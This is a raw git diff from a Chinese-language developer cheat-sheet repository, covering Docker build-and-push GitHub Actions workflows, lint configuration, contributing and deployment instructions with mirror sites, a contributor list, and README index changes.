uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKER_USER }}
password: ${{ secrets.DOCKER_PASSWORD }}
- name: Tags & Push image(latest)
run: |
echo "DOCKER_USER: ${{ secrets.DOCKER_USER }}"
docker tag reference ${{ secrets.DOCKER_USER }}/reference:latest
docker push ${{ secrets.DOCKER_USER }}/reference:latest
- name: Build and push image:latest
uses: docker/build-push-action@v3
with:
push: true
context: .
platforms: linux/amd64,linux/arm64
tags: ${{ secrets.DOCKER_USER }}/reference:latest
- name: Tags & Push image
- name: Build and push image:tags
uses: docker/build-push-action@v3
if: steps.create_tag.outputs.successful
run: |
echo "outputs.tag - ${{ steps.changelog.outputs.version }}"
docker tag reference ${{ secrets.DOCKER_USER }}/reference:${{steps.changelog.outputs.version}}
docker push ${{ secrets.DOCKER_USER }}/reference:${{steps.changelog.outputs.version}}
with:
push: true
context: .
platforms: linux/amd64,linux/arm64
tags: ${{ secrets.DOCKER_USER }}/reference:${{steps.changelog.outputs.version}}
# Create Docker Image in Github
- name: Login to the GitHub Container Registry
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Build and push image:latest
uses: docker/build-push-action@v3
with:
push: true
context: .
platforms: linux/amd64,linux/arm64
tags: ghcr.io/jaywcjlove/reference:latest
- name: Build and push image:tags
uses: docker/build-push-action@v3
if: steps.create_tag.outputs.successful
with:
push: true
context: .
platforms: linux/amd64,linux/arm64
tags: ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
# # Create Docker Image in Github
# - name: Login to GitHub registry
# run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin
# - name: Build docker image
# run: docker build -t ghcr.io/jaywcjlove/reference:latest .
# - name: Publish to GitHub registry
# run: docker push ghcr.io/jaywcjlove/reference:latest
# - name: Tag docker image (beta) and publish to GitHub registry
# if: steps.create_tag.outputs.successful
# run: |
# echo "version: v${{ steps.changelog.outputs.version }}"
# docker tag ghcr.io/jaywcjlove/reference:latest ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
# docker push ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
# # Create Docker Image
# - name: Docker login
# run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }}
# - name: Build reference image
# run: docker image build -t reference .
# - name: Tags & Push image(latest)
# run: |
# echo "DOCKER_USER: ${{ secrets.DOCKER_USER }}"
# docker tag reference ${{ secrets.DOCKER_USER }}/reference:latest
# docker push ${{ secrets.DOCKER_USER }}/reference:latest
# - name: Tags & Push image
# if: steps.create_tag.outputs.successful
# run: |
# echo "outputs.tag - ${{ steps.changelog.outputs.version }}"
# docker tag reference ${{ secrets.DOCKER_USER }}/reference:${{steps.changelog.outputs.version}}
# docker push ${{ secrets.DOCKER_USER }}/reference:${{steps.changelog.outputs.version}}

27
.github/workflows/win.yml vendored Normal file
View File

@ -0,0 +1,27 @@
name: Win CI
on:
push:
branches:
- main
jobs:
build:
runs-on: windows-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
with:
node-version: 16
- run: npm install
- run: npm run build
- run: |
cd ${{ github.workspace }}
ls
cd dist
ls
- uses: actions/upload-artifact@v3
with:
name: dist
path: ${{ github.workspace }}\dist\**\*

2
.gitignore vendored
View File

@ -2,6 +2,8 @@ build
dist
node_modules
package-lock.json
pnpm-lock.yaml
yarn.lock
.DS_Store
.cache

View File

@ -1,3 +1,4 @@
{
"**/*.{mjs,css,json,prettierrc,lintstagedrc}": ["prettier --write"]
"**/*.{mjs,css,json,prettierrc,lintstagedrc}": ["prettier --write"],
"./docs/*.md": ["npx markdownlint-cli --fix ./docs"]
}

12
.markdownlint.json Normal file
View File

@ -0,0 +1,12 @@
{
"MD003": false,
"MD013": false,
"MD014": false,
"MD024": false,
"MD033": false,
"MD040": false,
"MD010": {
"code_blocks": true,
"spaces_per_tab": 2
}
}

View File

@ -14,7 +14,7 @@ Contributing 贡献
这是您可以在 Quick Reference 备忘清单上使用的样式参考!【备忘清单介绍】
```
只需要 `标题<h1>``介绍`(标题下面)。脚本会自动识别,通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
只需要 `标题<h1>` `介绍` (标题下面)。脚本会自动识别,通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
## 目录结构
@ -38,7 +38,7 @@ Contributing 贡献
## CSS 类注释
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`,并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。 此外,您可以在 Quick Reference 备忘清单上使用样式参考https://jaywcjlove.github.io/reference/docs/quickreference.html
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`,并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。此外,您可以在 Quick Reference 备忘清单上使用样式参考:<https://jaywcjlove.github.io/reference/docs/quickreference.html>
最后,参考现有备忘清单的源代码是一个好习惯!
@ -61,7 +61,9 @@ Contributing 贡献
- SVG 图标尺寸 `<svg height="1em" width="1em"`
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
#### 提示配置
图标可以在 [icongo 图标搜索](https://icongo.github.io/) 中搜索
### 提示配置
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing-->
@ -69,7 +71,6 @@ Contributing 贡献
添加 `contributing` 类名,会在卡片下方添加 _`👆待完善需要您的参与`_,添加 `data-info=👆看看还缺点儿什么?`,更换默认提示文本。
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=tag&data-lang=Python-->
```
@ -79,7 +80,206 @@ Contributing 贡献
## 本地开发
```bash
npm i # 安装依赖
npm run build # 编译输出 HTML
npm run start # 监听 md 文件编译输出 HTML
```
$ git clone https://github.com/jaywcjlove/reference.git
$ npm i # 安装依赖
$ npm run build # 编译输出 HTML
$ npm run start # 监听 md 文件编译输出 HTML
```
或者你也可以使用 `pnpm` 或者 `yarn` 做为包管理器
## 快捷部署方法
由于中国国内访问,时常打不开,推荐您部署的镜像网站,大家可以在这里留言推荐您的镜像网站网址,我将放置在首页推荐
### 方法一,只需要克隆 gh-pages 分支代码到你的静态服务就可以了
```shell
$ git clone https://github.com/jaywcjlove/reference.git -b gh-pages
```
### 方法二,使用 [docker](https://hub.docker.com/r/wcjiang/reference) 快捷部署 web 版
```shell
$ docker pull wcjiang/reference
$ docker run --name reference --rm -d -p 9667:3000 wcjiang/reference:latest
# Or
$ docker run --name reference -itd -p 9667:3000 wcjiang/reference:latest
```
### 方法三,克隆仓库自己编译,添加导航菜单
```bash
$ git clone https://github.com/jaywcjlove/reference.git
$ npm install # 安装依赖
$ npm run build # 编译输出静态页面
$ npm run start # 开发模式,监听实时编译输出静态页面
```
文件被输出到 `dist` 目录,将 `dist` 目录静态页面部署到静态服务就可以了
<img width="423" alt="image" src="https://user-images.githubusercontent.com/1680273/203210099-cd9e1377-bceb-40cc-98f1-4c4c549a3986.png">
提供自定义菜单,在项目的根目录建立 `.env` 文件,添加下面内容
```ini
REF_URL=http://ref.xxx.cn/
REF_LABEL=网站首页
```
### 国内镜像
由于中国国内访问,时常打不开,你可以访问下面镜像网站。
- [ecdata.cn](http://ref.ecdata.cn)
- [mofe.io](http://quickref.mofe.io)
- [aibk.cn](https://quickref.aibk.cn)
- [laoleng.vip](http://bbs.laoleng.vip/reference/)
- [liujiapeng.com](https://www.liujiapeng.com/)
- [dbyun.net](https://www.dbyun.net/reference/index.html)
感谢🙏
## 贡献
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往,感谢我们出色的贡献者!
<!--GAMFC--><a href="https://github.com/jaywcjlove" title="小弟调调™">
<img src="https://avatars.githubusercontent.com/u/1680273?v=4" width="42;" alt="小弟调调™"/>
</a>
<a href="https://github.com/Jack-Zhang-1314" title="fw_qaq">
<img src="https://avatars.githubusercontent.com/u/82551626?v=4" width="42;" alt="fw_qaq"/>
</a>
<a href="https://github.com/mofelee" title="mofelee">
<img src="https://avatars.githubusercontent.com/u/5069410?v=4" width="42;" alt="mofelee"/>
</a>
<a href="https://github.com/Alex-Programer" title="Alex">
<img src="https://avatars.githubusercontent.com/u/115539090?v=4" width="42;" alt="Alex"/>
</a>
<a href="https://github.com/expoli" title="expoli">
<img src="https://avatars.githubusercontent.com/u/31023767?v=4" width="42;" alt="expoli"/>
</a>
<a href="https://github.com/JeffersonHuang" title="Jefferson">
<img src="https://avatars.githubusercontent.com/u/47512530?v=4" width="42;" alt="Jefferson"/>
</a>
<a href="https://github.com/sjh42" title="42:p">
<img src="https://avatars.githubusercontent.com/u/34529275?v=4" width="42;" alt="42:p"/>
</a>
<a href="https://github.com/partoneplay" title="partoneplay">
<img src="https://avatars.githubusercontent.com/u/5189132?v=4" width="42;" alt="partoneplay"/>
</a>
<a href="https://github.com/ryanhex53" title="ryanhex53">
<img src="https://avatars.githubusercontent.com/u/360426?v=4" width="42;" alt="ryanhex53"/>
</a>
<a href="https://github.com/catcto" title="喵仙人">
<img src="https://avatars.githubusercontent.com/u/5467932?v=4" width="42;" alt="喵仙人"/>
</a>
<a href="https://github.com/13812700839" title="花殇">
<img src="https://avatars.githubusercontent.com/u/58072506?v=4" width="42;" alt="花殇"/>
</a>
<a href="https://github.com/Smartdousha" title="Anko">
<img src="https://avatars.githubusercontent.com/u/52566311?v=4" width="42;" alt="Anko"/>
</a>
<a href="https://github.com/Brid9e" title="Brid9e">
<img src="https://avatars.githubusercontent.com/u/85558909?v=4" width="42;" alt="Brid9e"/>
</a>
<a href="https://github.com/CharlotteZeng" title="Chart">
<img src="https://avatars.githubusercontent.com/u/19461184?v=4" width="42;" alt="Chart"/>
</a>
<a href="https://github.com/DaiNing810" title="DaiN">
<img src="https://avatars.githubusercontent.com/u/94962339?v=4" width="42;" alt="DaiN"/>
</a>
<a href="https://github.com/demigodliu" title="DemigodLiu">
<img src="https://avatars.githubusercontent.com/u/30372735?v=4" width="42;" alt="DemigodLiu"/>
</a>
<a href="https://github.com/jasnzhuang" title="Jason Zhuang">
<img src="https://avatars.githubusercontent.com/u/16612921?v=4" width="42;" alt="Jason Zhuang"/>
</a>
<a href="https://github.com/JetSquirrel" title="JetSquirrel">
<img src="https://avatars.githubusercontent.com/u/20291255?v=4" width="42;" alt="JetSquirrel"/>
</a>
<a href="https://github.com/Lihuagreek" title="Lihuagreek">
<img src="https://avatars.githubusercontent.com/u/51040740?v=4" width="42;" alt="Lihuagreek"/>
</a>
<a href="https://github.com/LufsX" title="LufsX">
<img src="https://avatars.githubusercontent.com/u/33221883?v=4" width="42;" alt="LufsX"/>
</a>
<a href="https://github.com/mariuszmichalowski" title="Mariusz Michalowski">
<img src="https://avatars.githubusercontent.com/u/92091891?v=4" width="42;" alt="Mariusz Michalowski"/>
</a>
<a href="https://github.com/HanaNoryu" title="Noryu">
<img src="https://avatars.githubusercontent.com/u/109856546?v=4" width="42;" alt="Noryu"/>
</a>
<a href="https://github.com/whb1998a" title="WHB">
<img src="https://avatars.githubusercontent.com/u/44045064?v=4" width="42;" alt="WHB"/>
</a>
<a href="https://github.com/y52y" title="Zyj">
<img src="https://avatars.githubusercontent.com/u/51304324?v=4" width="42;" alt="Zyj"/>
</a>
<a href="https://github.com/chyok" title="chyok">
<img src="https://avatars.githubusercontent.com/u/32629225?v=4" width="42;" alt="chyok"/>
</a>
<a href="https://github.com/gaoxiaoduan" title="coderduan">
<img src="https://avatars.githubusercontent.com/u/69953511?v=4" width="42;" alt="coderduan"/>
</a>
<a href="https://github.com/cool9203" title="cool9203">
<img src="https://avatars.githubusercontent.com/u/29609607?v=4" width="42;" alt="cool9203"/>
</a>
<a href="https://github.com/godotc" title="godotc">
<img src="https://avatars.githubusercontent.com/u/79260851?v=4" width="42;" alt="godotc"/>
</a>
<a href="https://github.com/greyhao" title="greyhao">
<img src="https://avatars.githubusercontent.com/u/107107440?v=4" width="42;" alt="greyhao"/>
</a>
<a href="https://github.com/hua03" title="hua03">
<img src="https://avatars.githubusercontent.com/u/19561959?v=4" width="42;" alt="hua03"/>
</a>
<a href="https://github.com/hweining" title="hweining">
<img src="https://avatars.githubusercontent.com/u/8973985?v=4" width="42;" alt="hweining"/>
</a>
<a href="https://github.com/k983551019" title="k983551019">
<img src="https://avatars.githubusercontent.com/u/48147837?v=4" width="42;" alt="k983551019"/>
</a>
<a href="https://github.com/kdxcxs" title="kdxcxs">
<img src="https://avatars.githubusercontent.com/u/18746192?v=4" width="42;" alt="kdxcxs"/>
</a>
<a href="https://github.com/larry-xue" title="larry">
<img src="https://avatars.githubusercontent.com/u/48818060?v=4" width="42;" alt="larry"/>
</a>
<a href="https://github.com/liliangrong777" title="liliangrong777">
<img src="https://avatars.githubusercontent.com/u/58727146?v=4" width="42;" alt="liliangrong777"/>
</a>
<a href="https://github.com/lykjjj" title="lykjjj">
<img src="https://avatars.githubusercontent.com/u/58510058?v=4" width="42;" alt="lykjjj"/>
</a>
<a href="https://github.com/mancuoj" title="mancuoj">
<img src="https://avatars.githubusercontent.com/u/45707684?v=4" width="42;" alt="mancuoj"/>
</a>
<a href="https://github.com/onewesong" title="onewesong">
<img src="https://avatars.githubusercontent.com/u/17920822?v=4" width="42;" alt="onewesong"/>
</a>
<a href="https://github.com/wjjwkwindy" title="wjjwkwindy">
<img src="https://avatars.githubusercontent.com/u/9508591?v=4" width="42;" alt="wjjwkwindy"/>
</a>
<a href="https://github.com/xing133" title="xing133">
<img src="https://avatars.githubusercontent.com/u/5336490?v=4" width="42;" alt="xing133"/>
</a>
<a href="https://github.com/zxx-457" title="zxx-457">
<img src="https://avatars.githubusercontent.com/u/114141362?v=4" width="42;" alt="zxx-457"/>
</a>
<a href="https://github.com/lvzhenbo" title="吕振波">
<img src="https://avatars.githubusercontent.com/u/32427677?v=4" width="42;" alt="吕振波"/>
</a>
<a href="https://github.com/qyl27" title="秋雨落">
<img src="https://avatars.githubusercontent.com/u/53731501?v=4" width="42;" alt="秋雨落"/>
</a>
<a href="https://github.com/lisheng741" title="芦荟柚子茶">
<img src="https://avatars.githubusercontent.com/u/53617305?v=4" width="42;" alt="芦荟柚子茶"/>
</a><!--GAMFC-END-->
上图贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
## License
MIT © [Kenny Wong](https://github.com/jaywcjlove)

373
README.md
View File

@ -9,127 +9,160 @@ Quick Reference
<!--rehype:ignore:end-->
<!--rehype:ignore:start-->
[![Quick Reference](https://user-images.githubusercontent.com/1680273/197915058-b0aafe2c-10fc-4cc3-b54e-66329c7b4450.png)](https://jaywcjlove.github.io/reference)
[![Quick Reference](https://user-images.githubusercontent.com/1680273/201931931-d8559417-0a15-46af-a009-ec1e56e5b778.png)](https://jaywcjlove.github.io/reference)
<!--rehype:ignore:end-->
为开发人员分享快速参考备忘清单【速查表】 _(主要是方便自己)_,在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单,感觉非常简单,造轮子使命感突然来了,造个中文版本的,为了方便自己的技术栈查阅,立马撸起来 :)。如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
为开发人员分享快速参考备忘清单【速查表】。这是英文版 [Reference](https://github.com/Randy8080/reference) 的中文版本,目的是为了方便自己的技术栈查阅,如果您提供一个清单,我将抽空搬运,立即撸起来 :)。如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
## 正在建设中...
坑已挖,需要您的参与完善和贡献!🙏
<!--rehype:style=padding-bottom: 23px;-->
[Ansible](./docs/ansible.md)<!--rehype:style=background: rgb(238 0 0/var(\-\-bg\-opacity));&class=contributing tag&data-lang=RedHad&data-info=👆看看还缺点儿什么?-->
[CMake](./docs/cmake.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));&class=contributing-->
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python-->
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=contributing-->
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168/var(\-\-bg\-opacity));&class=contributing-->
[Vue 3 ](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));&class=contributing-->
[Ansible](./docs/ansible.md)<!--rehype:style=background: rgb(238 0 0);&class=contributing tag&data-lang=RedHat&data-info=👆看看还缺点儿什么?-->
[CMake](./docs/cmake.md)<!--rehype:style=background: rgb(92 107 192);&class=contributing-->
[C#](./docs/cs.md)<!--rehype:style=background: rgb(6 147 13);&class=contributing-->
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51);&class=contributing tag&data-lang=Python-->
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9);&class=contributing-->
[Flutter](./docs/flutter.md)<!--rehype:style=background: rgb(150 220 254);&class=contributing tag&data-lang=Dart-->
[LaTeX](./docs/latex.md)<!--rehype:style=background: rgb(0 128 128);&class=contributing-->
[Lua](./docs/lua.md)<!--rehype:style=background: rgb(3 3 128);-->
[NestJS](./docs/nestjs.md)<!--rehype:style=background: rgb(237 21 67);&class=contributing-->
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168);&class=contributing-->
[Oracle](./docs/oracle.md)<!--rehype:style=background: rgb(255 0 0);&class=contributing tag&data-lang=SQL-->
[Pytorch](./docs/pytorch.md)<!--rehype:style=background: rgb(238 76 44);&class=contributing tag&data-lang=Python&data-info=👆看看还缺点儿什么?-->
[Vue 3](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131);&class=contributing-->
<!--rehype:class=home-card-->
## 编程
[Bash](./docs/bash.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
[C](./docs/c.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));-->
[Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));&class=tag&data-lang=Docker-->
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python-->
[Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193/var(\-\-bg\-opacity));-->
[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
[JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
[Java](./docs/java.md)<!--rehype:style=background: rgb(211 55 49/var(\-\-bg\-opacity));&class=contributing&data-info=👆看看还缺点儿什么?-->
[Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
[MySQL](./docs/mysql.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));&class=tag&data-lang=SQL-->
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168/var(\-\-bg\-opacity));&class=contributing-->
[Python](./docs/python.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
[Rust](./docs/rust.md)<!--rehype:style=background: rgb(71 71 71/var(\-\-bg\-opacity));-->
[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247/var(\-\-bg\-opacity));&class=tag&data-lang=swift-->
[TOML](./docs/toml.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
[YAML](./docs/yaml.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
[Bash](./docs/bash.md)<!--rehype:style=background: rgb(72 143 223);-->
[C](./docs/c.md)<!--rehype:style=background: rgb(92 107 192);-->
[C#](./docs/cs.md)<!--rehype:style=background: rgb(6 147 13);&class=contributing-->
[C++](./docs/cpp.md)<!--rehype:style=background: rgb(6 147 13);&class=contributing-->
[Dart](./docs/dart.md)<!--rehype:style=background: rgb(64 196 255);-->
[Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223);-->
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153);&class=tag&data-lang=Docker-->
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51);&class=contributing tag&data-lang=Python-->
[Flutter](./docs/flutter.md)<!--rehype:style=background: rgb(150 220 254);&class=contributing tag&data-lang=Dart-->
[Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193);-->
[GraphQL](./docs/graphql.md)<!--rehype:style=background: rgb(214 66 146);-->
[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60);-->
[JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60);-->
[Java](./docs/java.md)<!--rehype:style=background: rgb(211 55 49);&class=contributing&data-info=👆看看还缺点儿什么?-->
[Julia](./docs/julia.md)<!--rehype:style=background: rgb(211 55 49);&class=contributing&data-info=👆看看还缺点儿什么?-->
[Kotlin](./docs/kotlin.md)<!--rehype:style=background: rgb(211 55 49);&class=contributing&data-info=👆看看还缺点儿什么?-->
[LaTeX](./docs/latex.md)<!--rehype:style=background: rgb(0 128 128);&class=contributing-->
[Laravel 8](./docs/laravel.md)<!--rehype:style=background: rgb(249 50 44);&class=contributing tag&data-lang=PHP-->
[Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156);-->
[MySQL](./docs/mysql.md)<!--rehype:style=background: rgb(1 117 143);&class=tag&data-lang=SQL-->
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168);&class=contributing-->
[Oracle](./docs/oracle.md)<!--rehype:style=background: rgb(255 0 0);-->
[PHP](./docs/php.md)<!--rehype:style=background: rgb(79 91 147);-->
[Python](./docs/python.md)<!--rehype:style=background: rgb(43 91 132);-->
[PostgreSQL](./docs/postgres.md)<!--rehype:style=background: rgb(43 109 163);&class=tag&data-lang=SQL-->
[Ruby](./docs/ruby.md)<!--rehype:style=background: rgb(204 52 45);-->
[Rust](./docs/rust.md)<!--rehype:style=background: rgb(71 71 71);-->
[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57);-->
[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247);&class=tag&data-lang=swift-->
[TOML](./docs/toml.md)<!--rehype:style=background: rgb(132 132 132);-->
[YAML](./docs/yaml.md)<!--rehype:style=background: rgb(91 163 230);-->
[Lua](./docs/lua.md)<!--rehype:style=background: rgb(3 3 128);-->
[Pytorch](./docs/pytorch.md)<!--rehype:style=background: rgb(238 76 44);&class=contributing tag&data-lang=Python&data-info=👆看看还缺点儿什么?-->
<!--rehype:class=home-card-->
## 前端
[CSS 3](./docs/css.md)<!--rehype:style=background: rgb(35 115 205/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
[Electron](./docs/electron.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
[Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
[ES 6](./docs/es6.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));&class=tag&data-lang=JS-->
[Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184/var(\-\-bg\-opacity));-->
[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
[HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39/var(\-\-bg\-opacity));-->
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
[Less.js](./docs/lessjs.md)<!--rehype:style=background: rgb(29 54 93/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
[React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173/var(\-\-bg\-opacity));-->
[RegEx](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155/var(\-\-bg\-opacity));-->
[TypeScript](./docs/typescript.md)<!--rehype:style=background: rgb(49 120 198/var(\-\-bg\-opacity));-->
[Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
[Vue 3 ](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));&class=contributing-->
[CSS 3](./docs/css.md)<!--rehype:style=background: rgb(35 115 205);&class=tag&data-lang=CSS-->
[Electron](./docs/electron.md)<!--rehype:style=background: rgb(0 72 153);-->
[Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23);-->
[ES 6](./docs/es6.md)<!--rehype:style=background: rgb(122 203 23);&class=tag&data-lang=JS-->
[Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184);&class=tag&data-lang=CSS-->
[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63);&class=tag&data-lang=CSS-->
[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154);&class=tag&data-lang=CSS-->
[HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39);-->
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31);-->
[Less.js](./docs/lessjs.md)<!--rehype:style=background: rgb(29 54 93);&class=tag&data-lang=CSS-->
[React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173);-->
[RegEx 正则表达式](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155);-->
[TypeScript](./docs/typescript.md)<!--rehype:style=background: rgb(49 120 198);-->
[Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131);-->
[Vue 3](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131);&class=contributing-->
<!--rehype:class=home-card-->
## Nodejs
[Express.js](./docs/expressjs.md)<!--rehype:style=background: rgb(95 151 206/var(\-\-bg\-opacity));-->
[Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91/var(\-\-bg\-opacity));-->
[Koa.js](./docs/koajs.md)<!--rehype:style=background: rgb(95 151 206/var(\-\-bg\-opacity));-->
[Lerna](./docs/lerna.md)<!--rehype:style=background: rgb(192 132 252/var(\-\-bg\-opacity));-->
[npm](./docs/npm.md)<!--rehype:style=background: rgb(203 2 0/var(\-\-bg\-opacity));-->
[package.json](./docs/package.json.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
[Yarn](./docs/yarn.md)<!--rehype:style=background: rgb(33 136 182/var(\-\-bg\-opacity));-->
[Express.js](./docs/expressjs.md)<!--rehype:style=background: rgb(95 151 206);-->
[Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91);-->
[Koa.js](./docs/koajs.md)<!--rehype:style=background: rgb(95 151 206);-->
[Lerna](./docs/lerna.md)<!--rehype:style=background: rgb(192 132 252);-->
[npm](./docs/npm.md)<!--rehype:style=background: rgb(203 2 0);-->
[NestJS](./docs/nestjs.md)<!--rehype:style=background: rgb(237 21 67);&class=contributing-->
[package.json](./docs/package.json.md)<!--rehype:style=background: rgb(132 132 132);-->
[Yarn](./docs/yarn.md)<!--rehype:style=background: rgb(33 136 182);-->
<!--rehype:class=home-card-->
## 工具
[Emacs](./docs/emacs.md)<!--rehype:style=background: rgb(98 36 134/var(\-\-bg\-opacity));-->
[Gmail](./docs/gmail.md)<!--rehype:style=background: rgb(234 67 54/var(\-\-bg\-opacity));-->
[nginx](./docs/nginx.md)<!--rehype:style=background: rgb(0 153 0/var(\-\-bg\-opacity));-->
[Semver](./docs/semver.md)<!--rehype:style=background: rgb(106 111 141/var(\-\-bg\-opacity));-->
[Sketch](./docs/sketch.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));-->
[Sublime Text](./docs/sublime-text.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));-->
[VSCode](./docs/vscode.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
[Vim](./docs/vim.md)<!--rehype:style=background: rgb(9 150 8/var(\-\-bg\-opacity));-->
[WebStorm](./docs/webstorm.md)<!--rehype:style=background: rgb(32 148 220/var(\-\-bg\-opacity));-->
[XPath](./docs/xpath.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
[Xcode](./docs/xcode.md)<!--rehype:style=background: rgb(24 151 233/var(\-\-bg\-opacity));-->
[Emacs](./docs/emacs.md)<!--rehype:style=background: rgb(98 36 134);-->
[Gmail](./docs/gmail.md)<!--rehype:style=background: rgb(234 67 54);-->
[nginx](./docs/nginx.md)<!--rehype:style=background: rgb(0 153 0);-->
[Semver](./docs/semver.md)<!--rehype:style=background: rgb(106 111 141);-->
